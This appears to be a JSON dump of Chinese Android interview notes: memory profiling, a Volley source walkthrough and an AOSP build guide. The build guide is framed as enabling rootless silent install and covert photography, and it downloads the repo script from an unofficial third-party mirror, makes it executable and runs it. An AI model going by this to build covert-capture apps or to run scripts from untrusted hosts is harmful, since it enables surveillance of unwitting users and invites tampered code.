    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频\n\n- [Monitors使用配套视频](https://v.qq.com/x/page/x0393gf7qp6.html)\n- [DDMS-Heap配套视频](https://v.qq.com/x/page/e03933o0tp7.html)\n- [leakcanary配套视频](https://v.qq.com/x/page/o0382aiamwt.html)\n\n## 12-如何对android应用进行内存性能分析\n\n#### 如何查看项目中内存泄漏？\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-4a0d70f4ff3c47fa.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n> AS的Memory窗口如下，详细的说明这里就不解释了，很简单很直观（使用频率高）：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-303debd142d5a3d4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n> DDMS-Heap内存监测工具窗口如下，详细的说明这里就不解释了，很简单（使用频率不高）：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-340416c85d9db68b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\ndumpsys meminfo命令如下（使用频率非常高，非常高效，注意：adb shell dumpsys meminfo不跟参数直接展示系统所有内存状态）：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-bd446bdbe1c0d05b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\nAndroid应用内存泄露leakcanary工具定位分析\n\nleakcanary是一个开源项目，一个内存泄露自动检测工具，是著名的GitHub开源组织Square贡献的，它的主要优势就在于自动化过早的发觉内存泄露。\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-92ea80d780f88d1a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n关于leakcanary工具的配置使用方式这里不再详细介绍，可以参考官方说明使用：\n[https://github.com/square/leakcanary](https://github.com/square/leakcanary)\n\n> Android应用内存泄露MAT工具定位分析\n\nEclipse Memory Analysis Tools是一个专门分析Java堆数据内存引用的工具，我们可以使用它方便的定位内存泄露原因，核心任务就是找到GC ROOT位置即可\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-09c1fc109df0e02d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n写篇文章和录制视频从选题，思考，组织，写作，编辑至少需要一个多小时，而您点赞和转发只需要0.1秒，就可以带给我更大的动力，何乐而不为呢？\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/源码分析/Android源码编译实现静默安装和静默偷拍.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://blog.csdn.net/mwq384807683/article/details/71305969)\n- [注解框架实现原理](http://blog.csdn.net/mwq384807683/article/details/70795881)\n- [okhttp3.0源码分析](http://blog.csdn.net/mwq384807683/article/details/71173442)\n\n### 与XMPP相关面试题\n\n- [与XMPP相关试题一](http://blog.csdn.net/mwq384807683/article/details/70313802)\n- [与XMPP相关试题二](http://blog.csdn.net/mwq384807683/article/details/70313827)\n\n### 与性能优化相关面试题\n\n- [与性能优化相关面试题一](http://blog.csdn.net/mwq384807683/article/details/70313673)\n- [与性能优化相关面试题二](http://blog.csdn.net/mwq384807683/article/details/70313685)\n- [与性能优化相关面试题三](http://blog.csdn.net/mwq384807683/article/details/70313721)\n- [与性能优化相关面试题四](http://blog.csdn.net/mwq384807683/article/details/70313741)\n- [与性能优化相关面试题五](http://blog.csdn.net/mwq384807683/article/details/70313763)\n- [与性能优化相关面试题六](http://blog.csdn.net/mwq384807683/article/details/70670846)\n- [与IPC机制相关面试题](http://blog.csdn.net/mwq384807683/article/details/70313632)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://blog.csdn.net/mwq384807683/article/details/70313871)\n- [token产生的意义](http://blog.csdn.net/mwq384807683/article/details/70840226)\n- [微信扫一扫实现原理](http://blog.csdn.net/mwq384807683/article/details/70313849)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://blog.csdn.net/mwq384807683/article/details/70470403)\n- [手把手教你如何解决as jar包冲突](http://blog.csdn.net/mwq384807683/article/details/71402900)\n- [context的原理分析](http://blog.csdn.net/mwq384807683/article/details/70670431)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://blog.csdn.net/mwq384807683/article/details/71435960)\n\n### 本文配套视频\n\n- [静默安装原理一](https://v.qq.com/x/page/k0501fbjwcv.html)\n- [静默安装原理二](https://v.qq.com/x/page/f0501jbulwc.html)\n\n很多哥们在后台公众号留言，让讲讲如何编译源码，感觉源码开发很神秘，好吧，今天就手把手教大家安装虚拟机编译源码，文字部分的东西就别看了，毕竟源码或者技术这种东西三言两语也讲不明白，直接看视频吧，通过本文我录制的视频希望对大家能起到抛砖引玉的作用，不过这个视频是我在三年前录制的，讲的是通过源码编译不需要root权限实现静默安装和偷拍，然后也把[Android](http://lib.csdn.net/base/android)系统安装源码给大家分析了，毕竟三年前随堂录制的视频，也比较简单的东西，如果没有收获随便看看就行，有收获点个赞就行，对静默安装感兴趣就从第一个视频开始看起，如果只是单纯对源码编译感兴趣，直接从第二个视频15分钟开始看就行，这样能节约大家的时间，视频时间有点长。\n\n四年前写的静默安装代码，有兴趣看看吧：[http://www.apkbus.com/forum.php?mod=viewthread&tid=120895](http://www.apkbus.com/forum.php?mod=viewthread&tid=120895)\n\n# Android源码分析\n\n### 1. 了解虚拟机的的使用\n\nAndroid 系统的编译环境目前只支持 [Linux](https://lib.csdn.net/base/linux) 以及 Mac OS 两种[操作系统](https://lib.csdn.net/base/operatingsystem) \n虚拟机可以很方便的搭建不同系统的开发环境 \n虚拟机可以完整的模拟一台电脑 \n虚拟机中的系统独立于主系统存在，子系统的损坏与否不影响主系统功能\n\n#### 1.1. 了解虚拟机的安装和创建新虚拟机的方法\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-1.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-2.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-3.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-4.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-5.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-6.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-7.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-8.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-9.png)\n\n#### 1.2. 了解虚拟机里安装Ubuntu系统的方法\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-10.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-11.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-12.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-13.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-14.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-15.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-16.png)\n\n# Android源码下载\n\n> Android源码下载支持的系统目前只有Ubuntu和Mac OS两种操作系统, 本次以Ubuntu系统为例.\n>\n> 官方网站: [https://source.android.com/source/downloading.html](https://source.android.com/source/downloading.html)\n\n1. 下载[Git](https://lib.csdn.net/base/git)([版本控制](https://lib.csdn.net/base/git)工具). 调出命令行: ctrl + alt + T\n\n```\nsudo apt-get install git\n```\n\n2. 安装curl(上传和下载数据的工具).\n\n```\nsudo apt-get install curl\n```\n\n3. 安装repo(一个基于git的版本库管理工具, 这里用于自动批量下载android整个项目.).\n\n```\n// 创建目录\nmkdir bin\n\n// 下载repo脚本到本地bin文件夹下\ncurl https://android.git.kernel.org/repo >~/bin/repo\n// 如果上面下载失败, 采用下面这种方式\ncurl \"https://php.webtutor.pl/en/wp-content/uploads/2011/09/repo\" >~/bin/repo\n\n// 给所有用户追加可执行的权限\nchmod a+x ~/bin/repo\n\n// 临时把repo添加到环境变量中, 方便后面执行.\n// 注意: 每次重启ubuntu之后此环境变量失效, 重新配置就可以了.\nexport PATH=~/bin:$PATH\n\n```\n\n4. 创建文件夹, 用于存放下载的Android源码.\n\n```\n// 创建目录\nmkdir android_source \n\n// 修改权限\nchmod 777 android_source\n\ncd android_source\n\n```\n\n5. 初始化库.\n\n```\n// 需要先配置git的用户信息\ngit config --global user.email \"ad_307@yeah.net\"\ngit config --global user.name \"liyindong\"\n\nrepo init -u httpss://android.googlesource.com/platform/manifest -b android-2.3_r1\n\n// 如果上面初始化失败, 用下面的代码\nrepo init -u git://codeaurora.org/platform/manifest.git -b gingerbread\n// 或\nrepo init -u git://android.git.kernel.org/platform/manifest.git -b  gingerbread\n\n```\n\n###### 出现以下信息成功初始化\n\n```\nrepo initialized in /home/liyindong/android_source\n```\n\n6. 开始同步下载.\n\n```\nrepo sync\n```\n\n**注意: 下载过程中, 因为网络问题, 可能会中断下载. 当中断下载时, 继续使用repo sync命令继续下载.**\n\n# Android源码编译\n\n### 在编译源码之前需要做一些准备操作, 详细步骤如下:\n\n> #### 1. 安装JDK, google官方要求编译2.3源码需要JDK1.6.\n\n- 1). 下载JDK1.6, 下载地址:[https://download.oracle.com/otn/java/jdk/6u45-b06/jdk-6u45-linux-x64.bin](https://download.oracle.com/otn/java/jdk/6u45-b06/jdk-6u45-linux-x64.bin)\n\n- 2). 创建目录.\n\n```\nsudo mkdir /usr/java\n```\n\n- 3). 把下载好的jdk-6u45-linux-x64.bin拷贝到上面创建的目录下.\n\n```\nsudo cp /home/liyindong/jdk-6u45-linux-x64.bin /usr/java\n```\n\n- 4). 添加可执行权限.\n\n```\nsudo chmod 755 /usr/java/jdk-6u45-linux-x64.bin\n```\n\n- 5). 解压.\n\n```\ncd /usr/java\nsudo ./jdk-6u45-linux-x64.bin\n```\n\n- 6). 配置环境变量.\n\n```\nexport JAVA_HOME=/usr/java/jdk1.6.0_45\nexport PATH=$PATH:$JAVA_HOME/bin\nexport CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar\n```\n\n- 7). 验证是否成功.\n\n```\nliyindong@liyindong-VirtualBox:~$ java -version\njava version \"1.6.0_45\"\nJava(TM) SE Runtime Environment (build 1.6.0_45-b06)\nJava HotSpot(TM) 64-Bit Server VM (build 20.45-b01, mixed mode)\n```\n\n> #### 2. 安装其他编译时依赖的软件.\n>\n> #### 注意: ubuntu自带的源中速度比较慢, 有些软件找不到, 所以需要修改为国内的源, 修改源步骤如下:\n\n- 1). 备份ubuntu自带的源.\n\n```\nsudo cp /etc/apt/sources.list /etc/apt/sources.list.old\n```\n\n- 2). 修改源文件.\n\n```\nsudo gedit /etc/apt/sources.list\n```\n\n- 3). 这时会弹出一个文本编辑框, 先删除所有内容, 然后把以下内容拷贝进去, 并保存.\n\n```\ndeb https://mirrors.163.com/ubuntu/ trusty main restricted universe multiverse\ndeb https://mirrors.163.com/ubuntu/ trusty-security main restricted universe multiverse\ndeb https://mirrors.163.com/ubuntu/ trusty-updates main restricted universe multiverse\ndeb https://mirrors.163.com/ubuntu/ trusty-proposed main restricted universe multiverse\ndeb https://mirrors.163.com/ubuntu/ trusty-backports main restricted universe multiverse\ndeb-src https://mirrors.163.com/ubuntu/ trusty main restricted universe multiverse\ndeb-src https://mirrors.163.com/ubuntu/ trusty-security main restricted universe multiverse\ndeb-src https://mirrors.163.com/ubuntu/ trusty-updates main restricted universe multiverse\ndeb-src https://mirrors.163.com/ubuntu/ trusty-proposed main restricted universe multiverse\ndeb-src https://mirrors.163.com/ubuntu/ trusty-backports main restricted universe multiverse\n\ndeb https://mirrors.sohu.com/ubuntu/ trusty main restricted universe multiverse\ndeb https://mirrors.sohu.com/ubuntu/ trusty-security main restricted universe multiverse\ndeb https://mirrors.sohu.com/ubuntu/ trusty-updates main restricted universe multiverse\ndeb https://mirrors.sohu.com/ubuntu/ trusty-proposed main restricted universe multiverse\ndeb https://mirrors.sohu.com/ubuntu/ trusty-backports main restricted universe multiverse\ndeb-src https://mirrors.sohu.com/ubuntu/ trusty main restricted universe multiverse\ndeb-src https://mirrors.sohu.com/ubuntu/ trusty-security main restricted universe multiverse\ndeb-src https://mirrors.sohu.com/ubuntu/ trusty-updates main restricted universe multiverse\ndeb-src https://mirrors.sohu.com/ubuntu/ trusty-proposed main restricted universe multiverse\ndeb-src https://mirrors.sohu.com/ubuntu/ trusty-backports main restricted universe multiverse\n\ndeb https://mirrors.oschina.net/ubuntu/ trusty main restricted universe multiverse\ndeb https://mirrors.oschina.net/ubuntu/ trusty-backports main restricted universe multiverse\ndeb https://mirrors.oschina.net/ubuntu/ trusty-proposed main restricted universe multiverse\ndeb https://mirrors.oschina.net/ubuntu/ trusty-security main restricted universe multiverse\ndeb https://mirrors.oschina.net/ubuntu/ trusty-updates main restricted universe multiverse\ndeb-src https://mirrors.oschina.net/ubuntu/ trusty main restricted universe multiverse\ndeb-src https://mirrors.oschina.net/ubuntu/ trusty-backports main restricted universe multiverse\ndeb-src https://mirrors.oschina.net/ubuntu/ trusty-proposed main restricted universe multiverse\ndeb-src https://mirrors.oschina.net/ubuntu/ trusty-security main restricted universe multiverse\ndeb-src https://mirrors.oschina.net/ubuntu/ trusty-updates main restricted universe multiverse\n\n```\n\n- 4). 保存之后, 更新数据源.\n\n```\nsudo apt-get update\n```\n\n- #### 执行完上面几步, 数据源就更新完成了, 下面就开始安装编译依赖的软件, 同样, 在终端中以行为单位依次输入以下命令:\n\n```\nsudo apt-get install gnupg\nsudo apt-get install flex\nsudo apt-get install bison\nsudo apt-get install gperf\nsudo apt-get install zip\nsudo apt-get install curl\nsudo apt-get install build-essential\nsudo apt-get install libesd0-dev\nsudo apt-get install libwxgtk2.6-dev\nsudo apt-get install libsdl-dev\nsudo apt-get install lsb-core\nsudo apt-get install lib32readline-gplv2-dev\nsudo apt-get install g++-multilib\nsudo apt-get install lib32z1-dev\nsudo apt-get install libswitch-perl\n\n```\n\n> #### 3. 开始编译, 在源码的目录下, 执行一下命令:\n\n```\nmake\n```\n\n### 5. 了解SourceInsight的使用方法\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-17.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-18.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-19.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-20.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-21.png)\n\n![静默安装和静默偷拍](img/静默安装和静默偷拍-22.png)\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n- 微信公众号名称：Android干货程序员\n\n![img](https://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/源码分析/README.md",
    "content": "## 源码分析相关面试题\n\n- [Volley源码剖析](Volley源码剖析.md)\n- [注解框架内部实现原理](注解框架内部实现原理.md)\n- [okhttp内核剖析](okhttp内核剖析.md)\n- [Android源码编译实现静默安装和静默偷拍](Android源码编译实现静默安装和静默偷拍.md)"
  },
  {
    "path": "docs/android/Android-Interview/源码分析/Volley源码剖析.md",
    "content": "今天就带大家一层层剥光Volley这位懵懂无知少女（14年出生，应该算无知少女）的外衣，带大家轻轻抚摸Volley每一寸肌肤，进入Volley的身体，为达到完美效果，开头录有激情小视频，观看时请自备纸巾，各位现在需要做的就是搬一把椅子，打开电脑，双击Android studio导入Volley源码，随我一起观看录制的激情小视频带着大家一起飞，观看激情小视频过程中，如能让你内心微微一颤有所收获，感受到满满的爱意，点赞或打赏都是最美的祝福。\n\n### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频：\n\n- [Volley内核分析配套视频一](https://v.qq.com/x/page/s05002geql6.html)\n- [Volley内核分析配套视频二](https://v.qq.com/x/page/h05002uijux.html)\n- [Volley内核分析配套视频三](https://v.qq.com/x/page/c05005gcs36.html)\n\n通过一个小栗子开始咱们的源码分析\n\n```java\nRequestQueue queue = Volley.newRequestQueue(this);\n     String url =\"http://www.baidu.com\";\n    StringRequest stringRequest = new  StringRequest(Request.Method.GET,\n    url,\n    new Response.Listener<String>() {\n    @Override\n    public void onResponse(String response) {\n\n      }\n    }, new Response.ErrorListener() {\n\n    @Override\n    public void onErrorResponse(VolleyError error) {\n\n     }\n     });\n queue.add(stringRequest);\n```\n\n### 第一部分：一行行分析\n\n```java\nRequestQueue queue = Volley.newRequestQueue(this);\n```\n\n进入源码分析:\n\n```java\npublic static RequestQueue newRequestQueue(Context context) {\n   return newRequestQueue(context, (HttpStack)null);\n}\n```\n\n由以上源码分析可知：\n\n1）该方法有两个参数，第一个Context是上下文，第二个参数为null\n\n```java\npublic static RequestQueue newRequestQueue(Context context, HttpStack stack) {\n   File cacheDir = new File(context.getCacheDir(), \"volley\");\n   String userAgent = \"volley/0\";\n   try {\n     String network = context.getPackageName();\n     PackageInfo queue = context.getPackageManager().getPackageInfo(network, 0);\n     userAgent = network + \"/\" + queue.versionCode;\n   } catch (NameNotFoundException var6) {\n\n   }\n   if(stack == null) {\n     if(VERSION.SDK_INT >= 9) {\n        stack = new HurlStack();\n   } else {\n        stack = new HttpClientStack(AndroidHttpClient.newInstance(userAgent));\n   }\n }\n\n BasicNetwork network1 = new BasicNetwork((HttpStack)stack);\n RequestQueue queue1 = new RequestQueue(new  DiskBasedCache(cacheDir), network1);\n  queue1.start();\n  return queue1;\n }\n```\n\n由以上源码分析可知：\n\n1）初始化缓存文件，名字叫volley。\n\n2）获取到当前应用包名和包的基本信息，并且给userAgent 重新赋值。\n\n3）stack 传递过来为null，所以直接走if判断里面。\n\n4）在这个if中对版本号进行了判断，如果版本号大于等于9就使得HttpStack对象的实例为HurlStack，如果小于9则实例为HttpClientStack。至于这里为何进行版本号判断，实际代码中已经说明了，请看下文。\n\n5)  BasicNetwork是Network接口的实现，BasicNetwork实现了performRequest方法，其作用是根据传入的HttpStack对象来处理网络请求。紧接着new出一个RequestQueue对象，并调用它的start()方法进行启动，然后将RequestQueue返回。RequestQueue是根目录下的一个类，其作用是一个请求调度队列调度程序的线程池。这样newRequestQueue()的方法就执行结束了。\n\n> 第四条如何分析出来请看如下代码：\n\n```java\npublic class HurlStack implements HttpStack \npublic class HttpClientStack implements HttpStack\n```\n\n继承httpStack接口\n\n```java\npublic interface HttpStack {\n    HttpResponse performRequest(Request<?> var1, Map<String, String> var2) throws IOException, AuthFailureError;\n}\n```\n\n接口当中有如下方法，performRequest，大家有没有觉得奇怪都继承同一个方法，并且都实现一样的接口同样的方法，实际上子类实现方法不一样，代码如下：\n\n#### HttpClientStack代码如下:\n\n```java\npublic HttpResponse performRequest(Request<?> request, Map<String, String> additionalHeaders) throws IOException, AuthFailureError {\n        HttpUriRequest httpRequest = createHttpRequest(request, additionalHeaders);\n        addHeaders(httpRequest, additionalHeaders);\n        addHeaders(httpRequest, request.getHeaders());\n        this.onPrepareRequest(httpRequest);\n        HttpParams httpParams = httpRequest.getParams();\n        int timeoutMs = request.getTimeoutMs();\n        HttpConnectionParams.setConnectionTimeout(httpParams, 5000);\n        HttpConnectionParams.setSoTimeout(httpParams, timeoutMs);\n        return this.mClient.execute(httpRequest);\n    }\n```\n\n#### HurlStack代码如下：\n\n```java\npublic HttpResponse performRequest(Request<?> request, Map<String, String> additionalHeaders) throws IOException, AuthFailureError {\n     ......\n\n        URL parsedUrl1 = new URL(url);\n        HttpURLConnection connection = this.openConnection(parsedUrl1, request);\n\n     .......\n            return response;\n        }\n    }\n```\n\n由以上得知HttpClientStack走的是httpClient，HurlStack走的是HttpURLConnection ，谷歌在高版本当中已经去掉了httpClient，所以这里必须做版本号的判断。\n\n继续源码分析，现在再来看下RequestQueue队列的start方法，如下所示：\n\n```java\npublic void start() {\n        this.stop();\n        this.mCacheDispatcher = new CacheDispatcher(this.mCacheQueue, this.mNetworkQueue, this.mCache, this.mDelivery);\n        this.mCacheDispatcher.start();\n\nfor(int i = 0; i < this.mDispatchers.length; ++i) {\n   NetworkDispatcher networkDispatcher = new      NetworkDispatcher(this.mNetworkQueue, this.mNetwork, this.mCache, this.mDelivery);\n   this.mDispatchers[i] = networkDispatcher;\n   networkDispatcher.start();\n }\n}\n```\n\n以上源码可知：\n\n1）创建了一个CacheDispatcher的实例，然后调用了它的start()方法\n\n2）for循环里去创建NetworkDispatcher的实例，并分别调用它们的start()方法\n\n3）这里的CacheDispatcher和NetworkDispatcher都是继承自Thread的，而默认情况下for循环会执行四次，也就是说当调用了Volley.newRequestQueue(context)之后，就会有五个线程一直在后台运行，不断等待网络请求的到来，其中一个CacheDispatcher是缓存线程，四个NetworkDispatcher是网络请求线程。\n\n> 第三条如何分析出来for循环会执行四次 , 请看如下代码分析：\n\n```java\npublic RequestQueue(Cache cache, Network network, int threadPoolSize, ResponseDelivery delivery) {\n        ......\n        this.mDispatchers = new NetworkDispatcher[threadPoolSize];\n        ......\n    }\n```\n\nthreadPoolSize大小是4，如何看出来请看如下代码：\n\n```java\n public RequestQueue(Cache cache, Network network, int threadPoolSize) {\n        this(cache, network, threadPoolSize, new ExecutorDelivery(new Handler(Looper.getMainLooper())));\n    }\n\n    public RequestQueue(Cache cache, Network network) {\n        this(cache, network, 4);\n    }\n```\n\n通过构造方法传递，默认是4，如上已经把第一行代码分析完毕，进入第二部分。\n\n```java\nRequestQueue queue = Volley.newRequestQueue(this);\n```\n\n### 第二部分：添加请求到队列\n\n```java\nStringRequest stringRequest = new StringRequest(Request.Method.GET,\n                url,\nnew Response.Listener<String>() {\n@Override\npublic void onResponse(String response) {\n\n }\n}, new Response.ErrorListener() {\n\n @Override\n public void onErrorResponse(VolleyError error) {\n\n }\n });\n queue.add(stringRequest);\n```\n\n调用RequestQueue的add()方法将Request传入就可以完成网络请求操作了。也就是说add()方法的内部是核心代码了。现在看下RequestQueue的add方法，具体如下：\n\n```java\npublic Request add(Request request) {\n        request.setRequestQueue(this);\n        Set var2 = this.mCurrentRequests;\n        synchronized(this.mCurrentRequests) {\n            this.mCurrentRequests.add(request);\n        }\n\n        request.setSequence(this.getSequenceNumber());\n        request.addMarker(\"add-to-queue\");\n        if(!request.shouldCache()) {\n            this.mNetworkQueue.add(request);\n            return request;\n        } else {\n       Map var7 = this.mWaitingRequests;\n       synchronized(this.mWaitingRequests) {\n       String cacheKey = request.getCacheKey();\n       if(this.mWaitingRequests.containsKey(cacheKey)) {\n       Object stagedRequests = (Queue)this.mWaitingRequests.get(cacheKey);\n       if(stagedRequests == null) {\n         stagedRequests = new LinkedList();\n       }\n       ((Queue)stagedRequests).add(request);\n       this.mWaitingRequests.put(cacheKey, stagedRequests);\n      }\n     } else {\n         this.mWaitingRequests.put(cacheKey, (Object)null);\n         this.mCacheQueue.add(request);\n     }\n\n       return request;\n\n    }\n```\n\n通过以上源码可知：\n\n1）Request是所有请求的基类，是一个抽象类。request.setRequestQueue(this);的作用就是将请求Request关联到当前RequestQueue。然后同步操作将当前Request添加到RequestQueue对象的mCurrentRequests HashSet中做记录。\n\n2）通过request.setSequence(getSequenceNumber());得到当前RequestQueue中请求的个数，然后关联到当前Request。\n\n3）request.addMarker(\"add-to-queue\");添加调试的队列标记。\n\n4）if (!request.shouldCache())判断当前的请求是否可以缓存，如果不能缓存则直接通过mNetworkQueue.add(request);将这条请求加入网络请求队列，然后返回request；如果可以缓存的话则在通过同步操作将这条请求加入缓存队列。\n\n第二部分分析完毕，进入第三部分。\n\n### 第三部分：CacheDispatcher中的run()方法，代码如下所示：\n\n```java\n public void run() {\n   if(DEBUG) {\n      VolleyLog.v(\"start new dispatcher\", new Object[0]);\n   }\n\n   Process.setThreadPriority(10);\n   this.mCache.initialize();\n\n\n   while(true) {\n        final Request e = (Request)this.mCacheQueue.take();\n        e.addMarker(\"cache-queue-take\");\n        if(e.isCanceled()) {\n          e.finish(\"cache-discard-canceled\");\n        } else {\n         Entry entry = this.mCache.get(e.getCacheKey());\n        if(entry == null) {\n          e.addMarker(\"cache-miss\");\n          this.mNetworkQueue.put(e);\n  } else if(entry.isExpired()) {\n        e.addMarker(\"cache-hit-expired\");\n        e.setCacheEntry(entry);\n        this.mNetworkQueue.put(e);\n  } else {\n       e.addMarker(\"cache-hit\");\n       Response response = e.parseNetworkResponse(new  NetworkResponse(entry.data, entry.responseHeaders));\n       e.addMarker(\"cache-hit-parsed\");\n       if(entry.refreshNeeded()) {\n         e.addMarker(\"cache-hit-refresh-needed\");\n         e.setCacheEntry(entry);\n         response.intermediate = true;\n        this.mDelivery.postResponse(e, response, \n        new Runnable() {\n         public void run() {\n           CacheDispatcher.this.mNetworkQueue.put(e);\n        }\n```\n\n### 以上源码可知：\n\n1）首先通过Process.setThreadPriority设置线程优先级\n\n2）mCache.initialize(); 初始化缓存块\n\n3）while(true)循环，表示它一直在等待缓存队列的新请求的出现\n\n4）接着，先判断这个请求是否有对应的缓存结果，如果没有则直接添加到网络请求队列\n\n5）再判断这个缓存结果是否过期了，如果过期则同样地添加到网络请求队列\n\n6)  接下来便是对缓存结果的处理了，我们可以看到，先是把缓存结果包装成NetworkResponse类，然后调用了Request的parseNetworkResponse;\n\n### 小结\n\nCacheDispatcher线程主要对请求进行判断，是否已经有缓存，是否已经过期，根据需要放进网络请求队列。同时对相应结果进行包装、处理，然后交由ExecutorDelivery处理。这里以一张流程图显示它的完整工作流程：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-a98dfd161eafb6fa?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n### 第四部分：NetworkDispatcher代码如下所示：\n\n```java\npublic void run() {\n   Process.setThreadPriority(10);\n   while(true) {\n      Request request;\n      while(true) {\n        try {\n         request = (Request)this.mQueue.take();\n         break;\n        } catch (InterruptedException var4) {\n\n       }\n     try {\n        request.addMarker(\"network-queue-take\");\n        if(request.isCanceled()) {\n           